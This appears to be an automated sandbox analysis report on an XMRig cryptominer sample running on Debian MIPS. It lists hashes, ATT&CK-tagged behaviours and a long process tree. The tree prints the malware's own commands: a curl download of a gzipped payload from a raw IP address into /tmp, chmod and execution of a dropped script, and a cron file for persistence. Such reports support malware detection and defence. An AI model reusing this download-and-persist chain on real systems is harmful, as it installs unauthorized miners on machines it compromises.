xmrig | 0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00

Analysis

max time kernel
28s
max time network
31s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
27/10/2026, 12:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
Size 6KB
Sample261027-ptscjacz91
SHA256 0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
MD5 03da3edba2f3fee5b163f59853f91f6c
SHA1 2a4a9063f49cc58fadb7e72c0594ec53b51e6c1f
SHA512 1b66c28569f13d45e0fa29ba4a9eefca1f92bcac5ddea9d18dcee174c3ec3020bb2a96ff3d999aadf3fbcaa6be2f6e539a864a7277d2a9ab1421586f620d6df9
SSDEEP 96:T5Pm+TKkEBAxYrnoGr1esEE8mj27v4dRDGtkPnQXSud35RBABtnNwrHYxI71Ooh+:ludkEBAkoaEmj2M0dSuZiBt3a7MoxEf
TLSH
T17CE1D6F0ECAC5A70B28CE5343BC9A24BF942063A5E787858F184A9446F2CC58347C766
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution xmrig miner persistence privilege_escalation

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral3/files/fstream-3.dat	family_xmrig
behavioral3/files/fstream-3.dat	xmrig

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
960	chmod
970	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/.zm2.sh	974	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
/tmp/xkv	1207	setsid

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/etc/cron.d/zm2	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/110/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/722/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/22/cmdline	.zm2.sh
File opened for reading	/proc/127/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/22/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/446/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/694/cmdline	.zm2.sh
File opened for reading	/proc/71/cmdline	.zm2.sh
File opened for reading	/proc/725/cmdline	.zm2.sh
File opened for reading	/proc/73/cmdline	.zm2.sh
File opened for reading	/proc/75/cmdline	.zm2.sh
File opened for reading	/proc/16/cmdline	.zm2.sh
File opened for reading	/proc/714/cmdline	.zm2.sh
File opened for reading	/proc/177/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/261/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/76/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/110/cmdline	.zm2.sh
File opened for reading	/proc/6/cmdline	.zm2.sh
File opened for reading	/proc/81/cmdline	.zm2.sh
File opened for reading	/proc/716/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/177/cmdline	.zm2.sh
File opened for reading	/proc/20/cmdline	.zm2.sh
File opened for reading	/proc/36/cmdline	.zm2.sh
File opened for reading	/proc/394/cmdline	.zm2.sh
File opened for reading	/proc/5/cmdline	.zm2.sh
File opened for reading	/proc/8/cmdline	.zm2.sh
File opened for reading	/proc/974/cmdline	.zm2.sh
File opened for reading	/proc/20/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/348/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/379/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/81/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/1/cmdline	.zm2.sh
File opened for reading	/proc/13/cmdline	.zm2.sh
File opened for reading	/proc/3/cmdline	.zm2.sh
File opened for reading	/proc/5/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/14/cmdline	.zm2.sh
File opened for reading	/proc/349/cmdline	.zm2.sh
File opened for reading	/proc/446/cmdline	.zm2.sh
File opened for reading	/proc/721/cmdline	.zm2.sh
File opened for reading	/proc/723/cmdline	.zm2.sh
File opened for reading	/proc/737/cmdline	.zm2.sh
File opened for reading	/proc/1212/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/self/maps	awk
File opened for reading	/proc/159/cmdline	.zm2.sh
File opened for reading	/proc/379/cmdline	.zm2.sh
File opened for reading	/proc/1216/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/16/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/689/cmdline	.zm2.sh
File opened for reading	/proc/686/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/10/cmdline	.zm2.sh
File opened for reading	/proc/126/cmdline	.zm2.sh
File opened for reading	/proc/8/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/79/cmdline	.zm2.sh
File opened for reading	/proc/1/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/73/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/79/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/82/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/24/cmdline	.zm2.sh
File opened for reading	/proc/380/cmdline	.zm2.sh
File opened for reading	/proc/686/cmdline	.zm2.sh
File opened for reading	/proc/10/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/71/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/9/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00

Writes file to tmp directory 4 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/��@@�h@8	sh
File opened for modification	/tmp/.xkv.gz	curl
File opened for modification	/tmp/xkv	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for modification	/tmp/.zm2.sh	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00

/tmp/0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
/tmp/0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
1⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
PID:725
- /bin/date
  date "+%s"
  2⤵
  PID:727
- /bin/sed
  sed -e "s#^https\\{0,1\\}://##" -e "s#/.*\$##"
  2⤵
  PID:731
- /usr/bin/head
  head -1
  2⤵
  PID:736
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:735
- /usr/bin/head
  head -1
  2⤵
  PID:743
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:742
- /usr/bin/head
  head -1
  2⤵
  PID:748
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:746
- /usr/bin/head
  head -1
  2⤵
  PID:751
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:750
- /usr/bin/head
  head -1
  2⤵
  PID:755
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:754
- /usr/bin/head
  head -1
  2⤵
  PID:760
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:759
- /usr/bin/head
  head -1
  2⤵
  PID:764
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:763
- /usr/bin/head
  head -1
  2⤵
  PID:768
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:767
- /usr/bin/head
  head -1
  2⤵
  PID:773
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:772
- /usr/bin/head
  head -1
  2⤵
  PID:776
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:775
- /usr/bin/head
  head -1
  2⤵
  PID:780
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:779
- /usr/bin/head
  head -1
  2⤵
  PID:783
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:782
- /usr/bin/head
  head -1
  2⤵
  PID:786
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:785
- /usr/bin/head
  head -1
  2⤵
  PID:789
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:788
- /usr/bin/head
  head -1
  2⤵
  PID:793
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:792
- /usr/bin/head
  head -1
  2⤵
  PID:797
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:796
- /usr/bin/head
  head -1
  2⤵
  PID:800
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:799
- /usr/bin/head
  head -1
  2⤵
  PID:803
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:802
- /usr/bin/head
  head -1
  2⤵
  PID:807
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:806
- /usr/bin/head
  head -1
  2⤵
  PID:810
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:809
- /usr/bin/head
  head -1
  2⤵
  PID:814
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:813
- /usr/bin/head
  head -1
  2⤵
  PID:818
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:817
- /usr/bin/head
  head -1
  2⤵
  PID:821
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:820
- /usr/bin/head
  head -1
  2⤵
  PID:824
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:823
- /usr/bin/head
  head -1
  2⤵
  PID:827
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:826
- /usr/bin/head
  head -1
  2⤵
  PID:831
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:830
- /usr/bin/head
  head -1
  2⤵
  PID:834
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:833
- /usr/bin/head
  head -1
  2⤵
  PID:837
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:836
- /usr/bin/head
  head -1
  2⤵
  PID:840
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:839
- /usr/bin/head
  head -1
  2⤵
  PID:843
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:842
- /usr/bin/head
  head -1
  2⤵
  PID:846
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:845
- /usr/bin/head
  head -1
  2⤵
  PID:850
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:849
- /usr/bin/head
  head -1
  2⤵
  PID:853
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:852
- /usr/bin/head
  head -1
  2⤵
  PID:856
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:855
- /usr/bin/head
  head -1
  2⤵
  PID:859
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:858
- /usr/bin/head
  head -1
  2⤵
  PID:862
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:861
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:864
- /usr/bin/head
  head -1
  2⤵
  PID:865
- /usr/bin/head
  head -1
  2⤵
  PID:868
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:867
- /usr/bin/head
  head -1
  2⤵
  PID:871
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:870
- /usr/bin/head
  head -1
  2⤵
  PID:874
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:873
- /usr/bin/head
  head -1
  2⤵
  PID:877
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:876
- /usr/bin/head
  head -1
  2⤵
  PID:880
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:879
- /usr/bin/head
  head -1
  2⤵
  PID:883
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:882
- /usr/bin/head
  head -1
  2⤵
  PID:886
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:885
- /usr/bin/head
  head -1
  2⤵
  PID:889
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:888
- /usr/bin/head
  head -1
  2⤵
  PID:892
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:891
- /usr/bin/head
  head -1
  2⤵
  PID:895
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:894
- /usr/bin/head
  head -1
  2⤵
  PID:898
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:897
- /usr/bin/head
  head -1
  2⤵
  PID:901
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:900
- /usr/bin/head
  head -1
  2⤵
  PID:904
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:903
- /usr/bin/head
  head -1
  2⤵
  PID:907
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:906
- /usr/bin/head
  head -1
  2⤵
  PID:910
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:909
- /usr/bin/head
  head -1
  2⤵
  PID:913
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:912
- /usr/bin/head
  head -1
  2⤵
  PID:916
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:915
- /usr/bin/head
  head -1
  2⤵
  PID:919
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:918
- /usr/bin/head
  head -1
  2⤵
  PID:922
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:921
- /usr/bin/head
  head -1
  2⤵
  PID:925
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:924
- /usr/bin/head
  head -1
  2⤵
  PID:928
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:927
- /usr/bin/head
  head -1
  2⤵
  PID:931
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:930
- /usr/bin/head
  head -1
  2⤵
  PID:934
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:933
- /usr/bin/head
  head -1
  2⤵
  PID:937
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:936
- /usr/bin/head
  head -1
  2⤵
  PID:940
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:939
- /usr/bin/head
  head -1
  2⤵
  PID:943
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:942
- /usr/bin/head
  head -1
  2⤵
  PID:946
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:945
- /usr/bin/head
  head -1
  2⤵
  PID:949
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:948
- /usr/bin/head
  head -1
  2⤵
  PID:952
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:951
- /bin/mkdir
  mkdir -p /tmp
  2⤵
  - Reads runtime system information
  PID:953
- /usr/bin/tr
  tr -d " "
  2⤵
  PID:956
- /bin/date
  date "+%m-%d %H:%M:%S"
  2⤵
  PID:957
- /usr/bin/curl
  curl -sSL -A "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36" -m 600 -o /tmp/.xkv.gz http://166.0.100.70/sysmon.gz
  2⤵
  - Writes file to tmp directory
  PID:958
- /bin/gzip
  gzip -dc /tmp/.xkv.gz
  2⤵
  PID:959
- /bin/chmod
  chmod 755 /tmp/xkv
  2⤵
  - File and Directory Permissions Modification
  PID:960
- /usr/bin/tr
  tr -d " "
  2⤵
  PID:963
- /usr/bin/wc
  wc -c
  2⤵
  PID:962
- /bin/rm
  rm -f /tmp/.xkv.gz
  2⤵
  PID:964
- /usr/bin/nproc
  nproc
  2⤵
  PID:966
- /usr/bin/awk
  awk "/MemAvailable/{print int(\$2/1024)}" /proc/meminfo
  2⤵
  - Reads runtime system information
  PID:967
- /bin/date
  date "+%F %T"
  2⤵
  PID:968
- /bin/cat
  cat
  2⤵
  PID:969
- /bin/chmod
  chmod 755 /tmp/.zm2.sh
  2⤵
  - File and Directory Permissions Modification
  PID:970
- /usr/bin/id
  id -u
  2⤵
  PID:972
- /bin/chmod
  chmod 644 /etc/cron.d/zm2
  2⤵
  PID:973
- /tmp/.zm2.sh
  /tmp/.zm2.sh
  2⤵
  - Reads runtime system information
  PID:974
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:976
- - /usr/bin/head
    head -1
    3⤵
    PID:977
- - /usr/bin/head
    head -1
    3⤵
    PID:980
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:979
- - /usr/bin/head
    head -1
    3⤵
    PID:983
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:982
- - /usr/bin/head
    head -1
    3⤵
    PID:986
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:985
- - /usr/bin/head
    head -1
    3⤵
    PID:989
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:988
- - /usr/bin/head
    head -1
    3⤵
    PID:993
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:992
- - /usr/bin/head
    head -1
    3⤵
    PID:997
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:996
- - /usr/bin/head
    head -1
    3⤵
    PID:1000
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:999
- - /usr/bin/head
    head -1
    3⤵
    PID:1003
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1002
- - /usr/bin/head
    head -1
    3⤵
    PID:1006
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1005
- - /usr/bin/head
    head -1
    3⤵
    PID:1010
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1009
- - /usr/bin/head
    head -1
    3⤵
    PID:1014
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1013
- - /usr/bin/head
    head -1
    3⤵
    PID:1017
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1016
- - /usr/bin/head
    head -1
    3⤵
    PID:1020
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1019
- - /usr/bin/head
    head -1
    3⤵
    PID:1024
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1023
- - /usr/bin/head
    head -1
    3⤵
    PID:1027
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1026
- - /usr/bin/head
    head -1
    3⤵
    PID:1031
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1030
- - /usr/bin/head
    head -1
    3⤵
    PID:1034
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1033
- - /usr/bin/head
    head -1
    3⤵
    PID:1037
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1036
- - /usr/bin/head
    head -1
    3⤵
    PID:1041
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1040
- - /usr/bin/head
    head -1
    3⤵
    PID:1044
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1043
- - /usr/bin/head
    head -1
    3⤵
    PID:1048
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1047
- - /usr/bin/head
    head -1
    3⤵
    PID:1051
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1050
- - /usr/bin/head
    head -1
    3⤵
    PID:1054
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1053
- - /usr/bin/head
    head -1
    3⤵
    PID:1058
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1057
- - /usr/bin/head
    head -1
    3⤵
    PID:1061
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1060
- - /usr/bin/head
    head -1
    3⤵
    PID:1065
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1064
- - /usr/bin/head
    head -1
    3⤵
    PID:1068
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1067
- - /usr/bin/head
    head -1
    3⤵
    PID:1071
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1070
- - /usr/bin/head
    head -1
    3⤵
    PID:1075
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1074
- - /usr/bin/head
    head -1
    3⤵
    PID:1079
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1078
- - /usr/bin/head
    head -1
    3⤵
    PID:1082
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1081
- - /usr/bin/head
    head -1
    3⤵
    PID:1085
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1084
- - /usr/bin/head
    head -1
    3⤵
    PID:1089
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1088
- - /usr/bin/head
    head -1
    3⤵
    PID:1093
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1092
- - /usr/bin/head
    head -1
    3⤵
    PID:1096
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1095
- - /usr/bin/head
    head -1
    3⤵
    PID:1099
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1098
- - /usr/bin/head
    head -1
    3⤵
    PID:1103
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1102
- - /usr/bin/head
    head -1
    3⤵
    PID:1106
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1105
- - /usr/bin/head
    head -1
    3⤵
    PID:1110
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1109
- - /usr/bin/head
    head -1
    3⤵
    PID:1113
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1112
- - /usr/bin/head
    head -1
    3⤵
    PID:1116
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1115
- - /usr/bin/head
    head -1
    3⤵
    PID:1120
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1119
- - /usr/bin/head
    head -1
    3⤵
    PID:1123
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1122
- - /usr/bin/head
    head -1
    3⤵
    PID:1127
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1126
- - /usr/bin/head
    head -1
    3⤵
    PID:1130
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1129
- - /usr/bin/head
    head -1
    3⤵
    PID:1134
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1133
- - /usr/bin/head
    head -1
    3⤵
    PID:1137
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1136
- - /usr/bin/head
    head -1
    3⤵
    PID:1141
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1140
- - /usr/bin/head
    head -1
    3⤵
    PID:1144
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1143
- - /usr/bin/head
    head -1
    3⤵
    PID:1147
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1146
- - /usr/bin/head
    head -1
    3⤵
    PID:1151
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1150
- - /usr/bin/head
    head -1
    3⤵
    PID:1155
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1154
- - /usr/bin/head
    head -1
    3⤵
    PID:1158
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1157
- - /usr/bin/head
    head -1
    3⤵
    PID:1161
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1160
- - /usr/bin/head
    head -1
    3⤵
    PID:1165
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1164
- - /usr/bin/head
    head -1
    3⤵
    PID:1168
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1167
- - /usr/bin/head
    head -1
    3⤵
    PID:1172
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1171
- - /usr/bin/head
    head -1
    3⤵
    PID:1175
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1174
- - /usr/bin/head
    head -1
    3⤵
    PID:1178
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1177
- - /usr/bin/head
    head -1
    3⤵
    PID:1182
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1181
- - /usr/bin/head
    head -1
    3⤵
    PID:1186
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1185
- - /usr/bin/head
    head -1
    3⤵
    PID:1189
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1188
- - /usr/bin/head
    head -1
    3⤵
    PID:1192
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1191
- - /usr/bin/head
    head -1
    3⤵
    PID:1195
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1194
- - /usr/bin/head
    head -1
    3⤵
    PID:1199
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1198
- - /usr/bin/head
    head -1
    3⤵
    PID:1203
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1202
- - /usr/bin/head
    head -1
    3⤵
    PID:1206
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1205
- /bin/sleep
  sleep 6
  2⤵
  PID:1208
- /usr/bin/head
  head -1
  2⤵
  PID:1253
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1252
- /usr/bin/head
  head -1
  2⤵
  PID:1256
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1255
- /usr/bin/head
  head -1
  2⤵
  PID:1259
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1258
- /usr/bin/head
  head -1
  2⤵
  PID:1263
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1262
- /usr/bin/head
  head -1
  2⤵
  PID:1267
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1266
- /usr/bin/head
  head -1
  2⤵
  PID:1270
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1269
- /usr/bin/head
  head -1
  2⤵
  PID:1273
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1272
- /usr/bin/head
  head -1
  2⤵
  PID:1277
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1276
- /usr/bin/head
  head -1
  2⤵
  PID:1280
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1279
- /usr/bin/head
  head -1
  2⤵
  PID:1284
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1283
- /usr/bin/head
  head -1
  2⤵
  PID:1287
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1286
- /usr/bin/head
  head -1
  2⤵
  PID:1290
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1289
- /usr/bin/head
  head -1
  2⤵
  PID:1294
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1293
- /usr/bin/head
  head -1
  2⤵
  PID:1297
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
